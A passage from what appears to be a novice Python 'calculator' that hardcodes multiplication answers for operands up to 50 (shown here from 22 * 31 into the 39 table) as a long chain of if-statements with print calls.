secondNum == 31 : print("22 * 31 = 682") if firstNum == 23 and sign == "*" and secondNum == 31 : print("23 * 31 = 713") if firstNum == 24 and sign == "*" and secondNum == 31 : print("24 * 31 = 744") if firstNum == 25 and sign == "*" and secondNum == 31 : print("25 * 31 = 775") if firstNum == 26 and sign == "*" and secondNum == 31 : print("26 * 31 = 806") if firstNum == 27 and sign == "*" and secondNum == 31 : print("27 * 31 = 837") if firstNum == 28 and sign == "*" and secondNum == 31 : print("28 * 31 = 868") if firstNum == 29 and sign == "*" and secondNum == 31 : print("29 * 31 = 899") if firstNum == 30 and sign == "*" and secondNum == 31 : print("30 * 31 = 930") if firstNum == 31 and sign == "*" and secondNum == 31 : print("31 * 31 = 961") if firstNum == 32 and sign == "*" and secondNum == 31 : print("32 * 31 = 992") if firstNum == 33 and sign == "*" and secondNum == 31 : print("33 * 31 = 1023") if firstNum == 34 and sign == "*" and secondNum == 31 : print("34 * 31 = 1054") if firstNum == 35 and sign == "*" and secondNum == 31 : print("35 * 31 = 1085") if firstNum == 36 and sign == "*" and secondNum == 31 : print("36 * 31 = 1116") if firstNum == 37 and sign == "*" and secondNum == 31 : print("37 * 31 = 1147") if firstNum == 38 and sign == "*" and secondNum == 31 : print("38 * 31 = 1178") if firstNum == 39 and sign == "*" and secondNum == 31 : print("39 * 31 = 1209") if firstNum == 40 and sign == "*" and secondNum == 31 : print("40 * 31 = 1240") if firstNum == 41 and sign == "*" and secondNum == 31 : print("41 * 31 = 1271") if firstNum == 42 and sign == "*" and secondNum == 31 : print("42 * 31 = 1302") if firstNum == 43 and sign == "*" and secondNum == 31 : print("43 * 31 = 1333") if firstNum == 44 and sign == "*" and secondNum == 31 : print("44 * 31 = 1364") if firstNum == 45 and sign == "*" and secondNum == 31 : print("45 * 31 = 1395") if firstNum == 46 and sign == "*" and secondNum == 31 : print("46 * 31 = 1426") if firstNum == 47 and sign == "*" and secondNum == 31 : print("47 * 31 = 1457") if firstNum == 48 and sign == "*" and secondNum == 31 : print("48 * 31 = 1488") if firstNum == 49 and sign == "*" and secondNum == 31 : print("49 * 31 = 1519") if firstNum == 50 and sign == "*" and secondNum == 31 : print("50 * 31 = 1550") if firstNum == 0 and sign == "*" and secondNum == 32 : print("0 * 32 = 0") if firstNum == 1 and sign == "*" and secondNum == 32 : print("1 * 32 = 32") if firstNum == 2 and sign == "*" and secondNum == 32 : print("2 * 32 = 64") if firstNum == 3 and sign == "*" and secondNum == 32 : print("3 * 32 = 96") if firstNum == 4 and sign == "*" and secondNum == 32 : print("4 * 32 = 128") if firstNum == 5 and sign == "*" and secondNum == 32 : print("5 * 32 = 160") if firstNum == 6 and sign == "*" and secondNum == 32 : print("6 * 32 = 192") if firstNum == 7 and sign == "*" and secondNum == 32 : print("7 * 32 = 224") if firstNum == 8 and sign == "*" and secondNum == 32 : print("8 * 32 = 256") if firstNum == 9 and sign == "*" and secondNum == 32 : print("9 * 32 = 288") if firstNum == 10 and sign == "*" and secondNum == 32 : print("10 * 32 = 320") if firstNum == 11 and sign == "*" and secondNum == 32 : print("11 * 32 = 352") if firstNum == 12 and sign == "*" and secondNum == 32 : print("12 * 32 = 384") if firstNum == 13 and sign == "*" and secondNum == 32 : print("13 * 32 = 416") if firstNum == 14 and sign == "*" and secondNum == 32 : print("14 * 32 = 448") if firstNum == 15 and sign == "*" and secondNum == 32 : print("15 * 32 = 480") if firstNum == 16 and sign == "*" and secondNum == 32 : print("16 * 32 = 512") if firstNum == 17 and sign == "*" and secondNum == 32 : print("17 * 32 = 544") if firstNum == 18 and sign == "*" and secondNum == 32 : print("18 * 32 = 576") if firstNum == 19 and sign == "*" and secondNum == 32 : print("19 * 32 = 608") if firstNum == 20 and sign == "*" and secondNum == 32 : print("20 * 32 = 640") if firstNum == 21 and sign == "*" and secondNum == 32 : print("21 * 32 = 672") if firstNum == 22 and sign == "*" and secondNum == 32 : print("22 * 32 = 704") if firstNum == 23 and sign == "*" and secondNum == 32 : print("23 * 32 = 736") if firstNum == 24 and sign == "*" and secondNum == 32 : print("24 * 32 = 768") if firstNum == 25 and sign == "*" and secondNum == 32 : print("25 * 32 = 800") if firstNum == 26 and sign == "*" and secondNum == 32 : print("26 * 32 = 832") if firstNum == 27 and sign == "*" and secondNum == 32 : print("27 * 32 = 864") if firstNum == 28 and sign == "*" and secondNum == 32 : print("28 * 32 = 896") if firstNum == 29 and sign == "*" and secondNum == 32 : print("29 * 32 = 928") if firstNum == 30 and sign == "*" and secondNum == 32 : print("30 * 32 = 960") if firstNum == 31 and sign == "*" and secondNum == 32 : print("31 * 32 = 992") if firstNum == 32 and sign == "*" and secondNum == 32 : print("32 * 32 = 1024") if firstNum == 33 and sign == "*" and secondNum == 32 : print("33 * 32 = 1056") if firstNum == 34 and sign == "*" and secondNum == 32 : print("34 * 32 = 1088") if firstNum == 35 and sign == "*" and secondNum == 32 : print("35 * 32 = 1120") if firstNum == 36 and sign == "*" and secondNum == 32 : print("36 * 32 = 1152") if firstNum == 37 and sign == "*" and secondNum == 32 : print("37 * 32 = 1184") if firstNum == 38 and sign == "*" and secondNum == 32 : print("38 * 32 = 1216") if firstNum == 39 and sign == "*" and secondNum == 32 : print("39 * 32 = 1248") if firstNum == 40 and sign == "*" and secondNum == 32 : print("40 * 32 = 1280") if firstNum == 41 and sign == "*" and secondNum == 32 : print("41 * 32 = 1312") if firstNum == 42 and sign == "*" and secondNum == 32 : print("42 * 32 = 1344") if firstNum == 43 and sign == "*" and secondNum == 32 : print("43 * 32 = 1376") if firstNum == 44 and sign == "*" and secondNum == 32 : print("44 * 32 = 1408") if firstNum == 45 and sign == "*" and secondNum == 32 : print("45 * 32 = 1440") if firstNum == 46 and sign == "*" and secondNum == 32 : print("46 * 32 = 1472") if firstNum == 47 and sign == "*" and secondNum == 32 : print("47 * 32 = 1504") if firstNum == 48 and sign == "*" and secondNum == 32 : print("48 * 32 = 1536") if firstNum == 49 and sign == "*" and secondNum == 32 : print("49 * 32 = 1568") if firstNum == 50 and sign == "*" and secondNum == 32 : print("50 * 32 = 1600") if firstNum == 0 and sign == "*" and secondNum == 33 : print("0 * 33 = 0") if firstNum == 1 and sign == "*" and secondNum == 33 : print("1 * 33 = 33") if firstNum == 2 and sign == "*" and secondNum == 33 : print("2 * 33 = 66") if firstNum == 3 and sign == "*" and secondNum == 33 : print("3 * 33 = 99") if firstNum == 4 and sign == "*" and secondNum == 33 : print("4 * 33 = 132") if firstNum == 5 and sign == "*" and secondNum == 33 : print("5 * 33 = 165") if firstNum == 6 and sign == "*" and secondNum == 33 : print("6 * 33 = 198") if firstNum == 7 and sign == "*" and secondNum == 33 : print("7 * 33 = 231") if firstNum == 8 and sign == "*" and secondNum == 33 : print("8 * 33 = 264") if firstNum == 9 and sign == "*" and secondNum == 33 : print("9 * 33 = 297") if firstNum == 10 and sign == "*" and secondNum == 33 : print("10 * 33 = 330") if firstNum == 11 and sign == "*" and secondNum == 33 : print("11 * 33 = 363") if firstNum == 12 and sign == "*" and secondNum == 33 : print("12 * 33 = 396") if firstNum == 13 and sign == "*" and secondNum == 33 : print("13 * 33 = 429") if firstNum == 14 and sign == "*" and secondNum == 33 : print("14 * 33 = 462") if firstNum == 15 and sign == "*" and secondNum == 33 : print("15 * 33 = 495") if firstNum == 16 and sign == "*" and secondNum == 33 : print("16 * 33 = 528") if firstNum == 17 and sign == "*" and secondNum == 33 : print("17 * 33 = 561") if firstNum == 18 and sign == "*" and secondNum == 33 : print("18 * 33 = 594") if firstNum == 19 and sign == "*" and secondNum == 33 : print("19 * 33 = 627") if firstNum == 20 and sign == "*" and secondNum == 33 : print("20 * 33 = 660") if firstNum == 21 and sign == "*" and secondNum == 33 : print("21 * 33 = 693") if firstNum == 22 and sign == "*" and secondNum == 33 : print("22 * 33 = 726") if firstNum == 23 and sign == "*" and secondNum == 33 : print("23 * 33 = 759") if firstNum == 24 and sign == "*" and secondNum == 33 : print("24 * 33 = 792") if firstNum == 25 and sign == "*" and secondNum == 33 : print("25 * 33 = 825") if firstNum == 26 and sign == "*" and secondNum == 33 : print("26 * 33 = 858") if firstNum == 27 and sign == "*" and secondNum == 33 : print("27 * 33 = 891") if firstNum == 28 and sign == "*" and secondNum == 33 : print("28 * 33 = 924") if firstNum == 29 and sign == "*" and secondNum == 33 : print("29 * 33 = 957") if firstNum == 30 and sign == "*" and secondNum == 33 : print("30 * 33 = 990") if firstNum == 31 and sign == "*" and secondNum == 33 : print("31 * 33 = 1023") if firstNum == 32 and sign == "*" and secondNum == 33 : print("32 * 33 = 1056") if firstNum == 33 and sign == "*" and secondNum == 33 : print("33 * 33 = 1089") if firstNum == 34 and sign == "*" and secondNum == 33 : print("34 * 33 = 1122") if firstNum == 35 and sign == "*" and secondNum == 33 : print("35 * 33 = 1155") if firstNum == 36 and sign == "*" and secondNum == 33 : print("36 * 33 = 1188") if firstNum == 37 and sign == "*" and secondNum == 33 : print("37 * 33 = 1221") if firstNum == 38 and sign == "*" and secondNum == 33 : print("38 * 33 = 1254") if firstNum == 39 and sign == "*" and secondNum == 33 : print("39 * 33 = 1287") if firstNum == 40 and sign == "*" and secondNum == 33 : print("40 * 33 = 1320") if firstNum == 41 and sign == "*" and secondNum == 33 : print("41 * 33 = 1353") if firstNum == 42 and sign == "*" and secondNum == 33 : print("42 * 33 = 1386") if firstNum == 43 and sign == "*" and secondNum == 33 : print("43 * 33 = 1419") if firstNum == 44 and sign == "*" and secondNum == 33 : print("44 * 33 = 1452") if firstNum == 45 and sign == "*" and secondNum == 33 : print("45 * 33 = 1485") if firstNum == 46 and sign == "*" and secondNum == 33 : print("46 * 33 = 1518") if firstNum == 47 and sign == "*" and secondNum == 33 : print("47 * 33 = 1551") if firstNum == 48 and sign == "*" and secondNum == 33 : print("48 * 33 = 1584") if firstNum == 49 and sign == "*" and secondNum == 33 : print("49 * 33 = 1617") if firstNum == 50 and sign == "*" and secondNum == 33 : print("50 * 33 = 1650") if firstNum == 0 and sign == "*" and secondNum == 34 : print("0 * 34 = 0") if firstNum == 1 and sign == "*" and secondNum == 34 : print("1 * 34 = 34") if firstNum == 2 and sign == "*" and secondNum == 34 : print("2 * 34 = 68") if firstNum == 3 and sign == "*" and secondNum == 34 : print("3 * 34 = 102") if firstNum == 4 and sign == "*" and secondNum == 34 : print("4 * 34 = 136") if firstNum == 5 and sign == "*" and secondNum == 34 : print("5 * 34 = 170") if firstNum == 6 and sign == "*" and secondNum == 34 : print("6 * 34 = 204") if firstNum == 7 and sign == "*" and secondNum == 34 : print("7 * 34 = 238") if firstNum == 8 and sign == "*" and secondNum == 34 : print("8 * 34 = 272") if firstNum == 9 and sign == "*" and secondNum == 34 : print("9 * 34 = 306") if firstNum == 10 and sign == "*" and secondNum == 34 : print("10 * 34 = 340") if firstNum == 11 and sign == "*" and secondNum == 34 : print("11 * 34 = 374") if firstNum == 12 and sign == "*" and secondNum == 34 : print("12 * 34 = 408") if firstNum == 13 and sign == "*" and secondNum == 34 : print("13 * 34 = 442") if firstNum == 14 and sign == "*" and secondNum == 34 : print("14 * 34 = 476") if firstNum == 15 and sign == "*" and secondNum == 34 : print("15 * 34 = 510") if firstNum == 16 and sign == "*" and secondNum == 34 : print("16 * 34 = 544") if firstNum == 17 and sign == "*" and secondNum == 34 : print("17 * 34 = 578") if firstNum == 18 and sign == "*" and secondNum == 34 : print("18 * 34 = 612") if firstNum == 19 and sign == "*" and secondNum == 34 : print("19 * 34 = 646") if firstNum == 20 and sign == "*" and secondNum == 34 : print("20 * 34 = 680") if firstNum == 21 and sign == "*" and secondNum == 34 : print("21 * 34 = 714") if firstNum == 22 and sign == "*" and secondNum == 34 : print("22 * 34 = 748") if firstNum == 23 and sign == "*" and secondNum == 34 : print("23 * 34 = 782") if firstNum == 24 and sign == "*" and secondNum == 34 : print("24 * 34 = 816") if firstNum == 25 and sign == "*" and secondNum == 34 : print("25 * 34 = 850") if firstNum == 26 and sign == "*" and secondNum == 34 : print("26 * 34 = 884") if firstNum == 27 and sign == "*" and secondNum == 34 : print("27 * 34 = 918") if firstNum == 28 and sign == "*" and secondNum == 34 : print("28 * 34 = 952") if firstNum == 29 and sign == "*" and secondNum == 34 : print("29 * 34 = 986") if firstNum == 30 and sign == "*" and secondNum == 34 : print("30 * 34 = 1020") if firstNum == 31 and sign == "*" and secondNum == 34 : print("31 * 34 = 1054") if firstNum == 32 and sign == "*" and secondNum == 34 : print("32 * 34 = 1088") if firstNum == 33 and sign == "*" and secondNum == 34 : print("33 * 34 = 1122") if firstNum == 34 and sign == "*" and secondNum == 34 : print("34 * 34 = 1156") if firstNum == 35 and sign == "*" and secondNum == 34 : print("35 * 34 = 1190") if firstNum == 36 and sign == "*" and secondNum == 34 : print("36 * 34 = 1224") if firstNum == 37 and sign == "*" and secondNum == 34 : print("37 * 34 = 1258") if firstNum == 38 and sign == "*" and secondNum == 34 : print("38 * 34 = 1292") if firstNum == 39 and sign == "*" and secondNum == 34 : print("39 * 34 = 1326") if firstNum == 40 and sign == "*" and secondNum == 34 : print("40 * 34 = 1360") if firstNum == 41 and sign == "*" and secondNum == 34 : print("41 * 34 = 1394") if firstNum == 42 and sign == "*" and secondNum == 34 : print("42 * 34 = 1428") if firstNum == 43 and sign == "*" and secondNum == 34 : print("43 * 34 = 1462") if firstNum == 44 and sign == "*" and secondNum == 34 : print("44 * 34 = 1496") if firstNum == 45 and sign == "*" and secondNum == 34 : print("45 * 34 = 1530") if firstNum == 46 and sign == "*" and secondNum == 34 : print("46 * 34 = 1564") if firstNum == 47 and sign == "*" and secondNum == 34 : print("47 * 34 = 1598") if firstNum == 48 and sign == "*" and secondNum == 34 : print("48 * 34 = 1632") if firstNum == 49 and sign == "*" and secondNum == 34 : print("49 * 34 = 1666") if firstNum == 50 and sign == "*" and secondNum == 34 : print("50 * 34 = 1700") if firstNum == 0 and sign == "*" and secondNum == 35 : print("0 * 35 = 0") if firstNum == 1 and sign == "*" and secondNum == 35 : print("1 * 35 = 35") if firstNum == 2 and sign == "*" and secondNum == 35 : print("2 * 35 = 70") if firstNum == 3 and sign == "*" and secondNum == 35 : print("3 * 35 = 105") if firstNum == 4 and sign == "*" and secondNum == 35 : print("4 * 35 = 140") if firstNum == 5 and sign == "*" and secondNum == 35 : print("5 * 35 = 175") if firstNum == 6 and sign == "*" and secondNum == 35 : print("6 * 35 = 210") if firstNum == 7 and sign == "*" and secondNum == 35 : print("7 * 35 = 245") if firstNum == 8 and sign == "*" and secondNum == 35 : print("8 * 35 = 280") if firstNum == 9 and sign == "*" and secondNum == 35 : print("9 * 35 = 315") if firstNum == 10 and sign == "*" and secondNum == 35 : print("10 * 35 = 350") if firstNum == 11 and sign == "*" and secondNum == 35 : print("11 * 35 = 385") if firstNum == 12 and sign == "*" and secondNum == 35 : print("12 * 35 = 420") if firstNum == 13 and sign == "*" and secondNum == 35 : print("13 * 35 = 455") if firstNum == 14 and sign == "*" and secondNum == 35 : print("14 * 35 = 490") if firstNum == 15 and sign == "*" and secondNum == 35 : print("15 * 35 = 525") if firstNum == 16 and sign == "*" and secondNum == 35 : print("16 * 35 = 560") if firstNum == 17 and sign == "*" and secondNum == 35 : print("17 * 35 = 595") if firstNum == 18 and sign == "*" and secondNum == 35 : print("18 * 35 = 630") if firstNum == 19 and sign == "*" and secondNum == 35 : print("19 * 35 = 665") if firstNum == 20 and sign == "*" and secondNum == 35 : print("20 * 35 = 700") if firstNum == 21 and sign == "*" and secondNum == 35 : print("21 * 35 = 735") if firstNum == 22 and sign == "*" and secondNum == 35 : print("22 * 35 = 770") if firstNum == 23 and sign == "*" and secondNum == 35 : print("23 * 35 = 805") if firstNum == 24 and sign == "*" and secondNum == 35 : print("24 * 35 = 840") if firstNum == 25 and sign == "*" and secondNum == 35 : print("25 * 35 = 875") if firstNum == 26 and sign == "*" and secondNum == 35 : print("26 * 35 = 910") if firstNum == 27 and sign == "*" and secondNum == 35 : print("27 * 35 = 945") if firstNum == 28 and sign == "*" and secondNum == 35 : print("28 * 35 = 980") if firstNum == 29 and sign == "*" and secondNum == 35 : print("29 * 35 = 1015") if firstNum == 30 and sign == "*" and secondNum == 35 : print("30 * 35 = 1050") if firstNum == 31 and sign == "*" and secondNum == 35 : print("31 * 35 = 1085") if firstNum == 32 and sign == "*" and secondNum == 35 : print("32 * 35 = 1120") if firstNum == 33 and sign == "*" and secondNum == 35 : print("33 * 35 = 1155") if firstNum == 34 and sign == "*" and secondNum == 35 : print("34 * 35 = 1190") if firstNum == 35 and sign == "*" and secondNum == 35 : print("35 * 35 = 1225") if firstNum == 36 and sign == "*" and secondNum == 35 : print("36 * 35 = 1260") if firstNum == 37 and sign == "*" and secondNum == 35 : print("37 * 35 = 1295") if firstNum == 38 and sign == "*" and secondNum == 35 : print("38 * 35 = 1330") if firstNum == 39 and sign == "*" and secondNum == 35 : print("39 * 35 = 1365") if firstNum == 40 and sign == "*" and secondNum == 35 : print("40 * 35 = 1400") if firstNum == 41 and sign == "*" and secondNum == 35 : print("41 * 35 = 1435") if firstNum == 42 and sign == "*" and secondNum == 35 : print("42 * 35 = 1470") if firstNum == 43 and sign == "*" and secondNum == 35 : print("43 * 35 = 1505") if firstNum == 44 and sign == "*" and secondNum == 35 : print("44 * 35 = 1540") if firstNum == 45 and sign == "*" and secondNum == 35 : print("45 * 35 = 1575") if firstNum == 46 and sign == "*" and secondNum == 35 : print("46 * 35 = 1610") if firstNum == 47 and sign == "*" and secondNum == 35 : print("47 * 35 = 1645") if firstNum == 48 and sign == "*" and secondNum == 35 : print("48 * 35 = 1680") if firstNum == 49 and sign == "*" and secondNum == 35 : print("49 * 35 = 1715") if firstNum == 50 and sign == "*" and secondNum == 35 : print("50 * 35 = 1750") if firstNum == 0 and sign == "*" and secondNum == 36 : print("0 * 36 = 0") if firstNum == 1 and sign == "*" and secondNum == 36 : print("1 * 36 = 36") if firstNum == 2 and sign == "*" and secondNum == 36 : print("2 * 36 = 72") if firstNum == 3 and sign == "*" and secondNum == 36 : print("3 * 36 = 108") if firstNum == 4 and sign == "*" and secondNum == 36 : print("4 * 36 = 144") if firstNum == 5 and sign == "*" and secondNum == 36 : print("5 * 36 = 180") if firstNum == 6 and sign == "*" and secondNum == 36 : print("6 * 36 = 216") if firstNum == 7 and sign == "*" and secondNum == 36 : print("7 * 36 = 252") if firstNum == 8 and sign == "*" and secondNum == 36 : print("8 * 36 = 288") if firstNum == 9 and sign == "*" and secondNum == 36 : print("9 * 36 = 324") if firstNum == 10 and sign == "*" and secondNum == 36 : print("10 * 36 = 360") if firstNum == 11 and sign == "*" and secondNum == 36 : print("11 * 36 = 396") if firstNum == 12 and sign == "*" and secondNum == 36 : print("12 * 36 = 432") if firstNum == 13 and sign == "*" and secondNum == 36 : print("13 * 36 = 468") if firstNum == 14 and sign == "*" and secondNum == 36 : print("14 * 36 = 504") if firstNum == 15 and sign == "*" and secondNum == 36 : print("15 * 36 = 540") if firstNum == 16 and sign == "*" and secondNum == 36 : print("16 * 36 = 576") if firstNum == 17 and sign == "*" and secondNum == 36 : print("17 * 36 = 612") if firstNum == 18 and sign == "*" and secondNum == 36 : print("18 * 36 = 648") if firstNum == 19 and sign == "*" and secondNum == 36 : print("19 * 36 = 684") if firstNum == 20 and sign == "*" and secondNum == 36 : print("20 * 36 = 720") if firstNum == 21 and sign == "*" and secondNum == 36 : print("21 * 36 = 756") if firstNum == 22 and sign == "*" and secondNum == 36 : print("22 * 36 = 792") if firstNum == 23 and sign == "*" and secondNum == 36 : print("23 * 36 = 828") if firstNum == 24 and sign == "*" and secondNum == 36 : print("24 * 36 = 864") if firstNum == 25 and sign == "*" and secondNum == 36 : print("25 * 36 = 900") if firstNum == 26 and sign == "*" and secondNum == 36 : print("26 * 36 = 936") if firstNum == 27 and sign == "*" and secondNum == 36 : print("27 * 36 = 972") if firstNum == 28 and sign == "*" and secondNum == 36 : print("28 * 36 = 1008") if firstNum == 29 and sign == "*" and secondNum == 36 : print("29 * 36 = 1044") if firstNum == 30 and sign == "*" and secondNum == 36 : print("30 * 36 = 1080") if firstNum == 31 and sign == "*" and secondNum == 36 : print("31 * 36 = 1116") if firstNum == 32 and sign == "*" and secondNum == 36 : print("32 * 36 = 1152") if firstNum == 33 and sign == "*" and secondNum == 36 : print("33 * 36 = 1188") if firstNum == 34 and sign == "*" and secondNum == 36 : print("34 * 36 = 1224") if firstNum == 35 and sign == "*" and secondNum == 36 : print("35 * 36 = 1260") if firstNum == 36 and sign == "*" and secondNum == 36 : print("36 * 36 = 1296") if firstNum == 37 and sign == "*" and secondNum == 36 : print("37 * 36 = 1332") if firstNum == 38 and sign == "*" and secondNum == 36 : print("38 * 36 = 1368") if firstNum == 39 and sign == "*" and secondNum == 36 : print("39 * 36 = 1404") if firstNum == 40 and sign == "*" and secondNum == 36 : print("40 * 36 = 1440") if firstNum == 41 and sign == "*" and secondNum == 36 : print("41 * 36 = 1476") if firstNum == 42 and sign == "*" and secondNum == 36 : print("42 * 36 = 1512") if firstNum == 43 and sign == "*" and secondNum == 36 : print("43 * 36 = 1548") if firstNum == 44 and sign == "*" and secondNum == 36 : print("44 * 36 = 1584") if firstNum == 45 and sign == "*" and secondNum == 36 : print("45 * 36 = 1620") if firstNum == 46 and sign == "*" and secondNum == 36 : print("46 * 36 = 1656") if firstNum == 47 and sign == "*" and secondNum == 36 : print("47 * 36 = 1692") if firstNum == 48 and sign == "*" and secondNum == 36 : print("48 * 36 = 1728") if firstNum == 49 and sign == "*" and secondNum == 36 : print("49 * 36 = 1764") if firstNum == 50 and sign == "*" and secondNum == 36 : print("50 * 36 = 1800") if firstNum == 0 and sign == "*" and secondNum == 37 : print("0 * 37 = 0") if firstNum == 1 and sign == "*" and secondNum == 37 : print("1 * 37 = 37") if firstNum == 2 and sign == "*" and secondNum == 37 : print("2 * 37 = 74") if firstNum == 3 and sign == "*" and secondNum == 37 : print("3 * 37 = 111") if firstNum == 4 and sign == "*" and secondNum == 37 : print("4 * 37 = 148") if firstNum == 5 and sign == "*" and secondNum == 37 : print("5 * 37 = 185") if firstNum == 6 and sign == "*" and secondNum == 37 : print("6 * 37 = 222") if firstNum == 7 and sign == "*" and secondNum == 37 : print("7 * 37 = 259") if firstNum == 8 and sign == "*" and secondNum == 37 : print("8 * 37 = 296") if firstNum == 9 and sign == "*" and secondNum == 37 : print("9 * 37 = 333") if firstNum == 10 and sign == "*" and secondNum == 37 : print("10 * 37 = 370") if firstNum == 11 and sign == "*" and secondNum == 37 : print("11 * 37 = 407") if firstNum == 12 and sign == "*" and secondNum == 37 : print("12 * 37 = 444") if firstNum == 13 and sign == "*" and secondNum == 37 : print("13 * 37 = 481") if firstNum == 14 and sign == "*" and secondNum == 37 : print("14 * 37 = 518") if firstNum == 15 and sign == "*" and secondNum == 37 : print("15 * 37 = 555") if firstNum == 16 and sign == "*" and secondNum == 37 : print("16 * 37 = 592") if firstNum == 17 and sign == "*" and secondNum == 37 : print("17 * 37 = 629") if firstNum == 18 and sign == "*" and secondNum == 37 : print("18 * 37 = 666") if firstNum == 19 and sign == "*" and secondNum == 37 : print("19 * 37 = 703") if firstNum == 20 and sign == "*" and secondNum == 37 : print("20 * 37 = 740") if firstNum == 21 and sign == "*" and secondNum == 37 : print("21 * 37 = 777") if firstNum == 22 and sign == "*" and secondNum == 37 : print("22 * 37 = 814") if firstNum == 23 and sign == "*" and secondNum == 37 : print("23 * 37 = 851") if firstNum == 24 and sign == "*" and secondNum == 37 : print("24 * 37 = 888") if firstNum == 25 and sign == "*" and secondNum == 37 : print("25 * 37 = 925") if firstNum == 26 and sign == "*" and secondNum == 37 : print("26 * 37 = 962") if firstNum == 27 and sign == "*" and secondNum == 37 : print("27 * 37 = 999") if firstNum == 28 and sign == "*" and secondNum == 37 : print("28 * 37 = 1036") if firstNum == 29 and sign == "*" and secondNum == 37 : print("29 * 37 = 1073") if firstNum == 30 and sign == "*" and secondNum == 37 : print("30 * 37 = 1110") if firstNum == 31 and sign == "*" and secondNum == 37 : print("31 * 37 = 1147") if firstNum == 32 and sign == "*" and secondNum == 37 : print("32 * 37 = 1184") if firstNum == 33 and sign == "*" and secondNum == 37 : print("33 * 37 = 1221") if firstNum == 34 and sign == "*" and secondNum == 37 : print("34 * 37 = 1258") if firstNum == 35 and sign == "*" and secondNum == 37 : print("35 * 37 = 1295") if firstNum == 36 and sign == "*" and secondNum == 37 : print("36 * 37 = 1332") if firstNum == 37 and sign == "*" and secondNum == 37 : print("37 * 37 = 1369") if firstNum == 38 and sign == "*" and secondNum == 37 : print("38 * 37 = 1406") if firstNum == 39 and sign == "*" and secondNum == 37 : print("39 * 37 = 1443") if firstNum == 40 and sign == "*" and secondNum == 37 : print("40 * 37 = 1480") if firstNum == 41 and sign == "*" and secondNum == 37 : print("41 * 37 = 1517") if firstNum == 42 and sign == "*" and secondNum == 37 : print("42 * 37 = 1554") if firstNum == 43 and sign == "*" and secondNum == 37 : print("43 * 37 = 1591") if firstNum == 44 and sign == "*" and secondNum == 37 : print("44 * 37 = 1628") if firstNum == 45 and sign == "*" and secondNum == 37 : print("45 * 37 = 1665") if firstNum == 46 and sign == "*" and secondNum == 37 : print("46 * 37 = 1702") if firstNum == 47 and sign == "*" and secondNum == 37 : print("47 * 37 = 1739") if firstNum == 48 and sign == "*" and secondNum == 37 : print("48 * 37 = 1776") if firstNum == 49 and sign == "*" and secondNum == 37 : print("49 * 37 = 1813") if firstNum == 50 and sign == "*" and secondNum == 37 : print("50 * 37 = 1850") if firstNum == 0 and sign == "*" and secondNum == 38 : print("0 * 38 = 0") if firstNum == 1 and sign == "*" and secondNum == 38 : print("1 * 38 = 38") if firstNum == 2 and sign == "*" and secondNum == 38 : print("2 * 38 = 76") if firstNum == 3 and sign == "*" and secondNum == 38 : print("3 * 38 = 114") if firstNum == 4 and sign == "*" and secondNum == 38 : print("4 * 38 = 152") if firstNum == 5 and sign == "*" and secondNum == 38 : print("5 * 38 = 190") if firstNum == 6 and sign == "*" and secondNum == 38 : print("6 * 38 = 228") if firstNum == 7 and sign == "*" and secondNum == 38 : print("7 * 38 = 266") if firstNum == 8 and sign == "*" and secondNum == 38 : print("8 * 38 = 304") if firstNum == 9 and sign == "*" and secondNum == 38 : print("9 * 38 = 342") if firstNum == 10 and sign == "*" and secondNum == 38 : print("10 * 38 = 380") if firstNum == 11 and sign == "*" and secondNum == 38 : print("11 * 38 = 418") if firstNum == 12 and sign == "*" and secondNum == 38 : print("12 * 38 = 456") if firstNum == 13 and sign == "*" and secondNum == 38 : print("13 * 38 = 494") if firstNum == 14 and sign == "*" and secondNum == 38 : print("14 * 38 = 532") if firstNum == 15 and sign == "*" and secondNum == 38 : print("15 * 38 = 570") if firstNum == 16 and sign == "*" and secondNum == 38 : print("16 * 38 = 608") if firstNum == 17 and sign == "*" and secondNum == 38 : print("17 * 38 = 646") if firstNum == 18 and sign == "*" and secondNum == 38 : print("18 * 38 = 684") if firstNum == 19 and sign == "*" and secondNum == 38 : print("19 * 38 = 722") if firstNum == 20 and sign == "*" and secondNum == 38 : print("20 * 38 = 760") if firstNum == 21 and sign == "*" and secondNum == 38 : print("21 * 38 = 798") if firstNum == 22 and sign == "*" and secondNum == 38 : print("22 * 38 = 836") if firstNum == 23 and sign == "*" and secondNum == 38 : print("23 * 38 = 874") if firstNum == 24 and sign == "*" and secondNum == 38 : print("24 * 38 = 912") if firstNum == 25 and sign == "*" and secondNum == 38 : print("25 * 38 = 950") if firstNum == 26 and sign == "*" and secondNum == 38 : print("26 * 38 = 988") if firstNum == 27 and sign == "*" and secondNum == 38 : print("27 * 38 = 1026") if firstNum == 28 and sign == "*" and secondNum == 38 : print("28 * 38 = 1064") if firstNum == 29 and sign == "*" and secondNum == 38 : print("29 * 38 = 1102") if firstNum == 30 and sign == "*" and secondNum == 38 : print("30 * 38 = 1140") if firstNum == 31 and sign == "*" and secondNum == 38 : print("31 * 38 = 1178") if firstNum == 32 and sign == "*" and secondNum == 38 : print("32 * 38 = 1216") if firstNum == 33 and sign == "*" and secondNum == 38 : print("33 * 38 = 1254") if firstNum == 34 and sign == "*" and secondNum == 38 : print("34 * 38 = 1292") if firstNum == 35 and sign == "*" and secondNum == 38 : print("35 * 38 = 1330") if firstNum == 36 and sign == "*" and secondNum == 38 : print("36 * 38 = 1368") if firstNum == 37 and sign == "*" and secondNum == 38 : print("37 * 38 = 1406") if firstNum == 38 and sign == "*" and secondNum == 38 : print("38 * 38 = 1444") if firstNum == 39 and sign == "*" and secondNum == 38 : print("39 * 38 = 1482") if firstNum == 40 and sign == "*" and secondNum == 38 : print("40 * 38 = 1520") if firstNum == 41 and sign == "*" and secondNum == 38 : print("41 * 38 = 1558") if firstNum == 42 and sign == "*" and secondNum == 38 : print("42 * 38 = 1596") if firstNum == 43 and sign == "*" and secondNum == 38 : print("43 * 38 = 1634") if firstNum == 44 and sign == "*" and secondNum == 38 : print("44 * 38 = 1672") if firstNum == 45 and sign == "*" and secondNum == 38 : print("45 * 38 = 1710") if firstNum == 46 and sign == "*" and secondNum == 38 : print("46 * 38 = 1748") if firstNum == 47 and sign == "*" and secondNum == 38 : print("47 * 38 = 1786") if firstNum == 48 and sign == "*" and secondNum == 38 : print("48 * 38 = 1824") if firstNum == 49 and sign == "*" and secondNum == 38 : print("49 * 38 = 1862") if firstNum == 50 and sign == "*" and secondNum == 38 : print("50 * 38 = 1900") if firstNum == 0 and sign == "*" and secondNum == 39 : print("0 * 39 = 0") if firstNum == 1 and sign == "*" and secondNum == 39 : print("1 * 39 = 39") if firstNum == 2 and sign == "*" and secondNum == 39 : print("2 * 39 = 78") if firstNum == 3 and sign == "*" and secondNum == 39 : print("3 * 39 = 117") if firstNum == 4 and sign == "*" and secondNum == 39 : 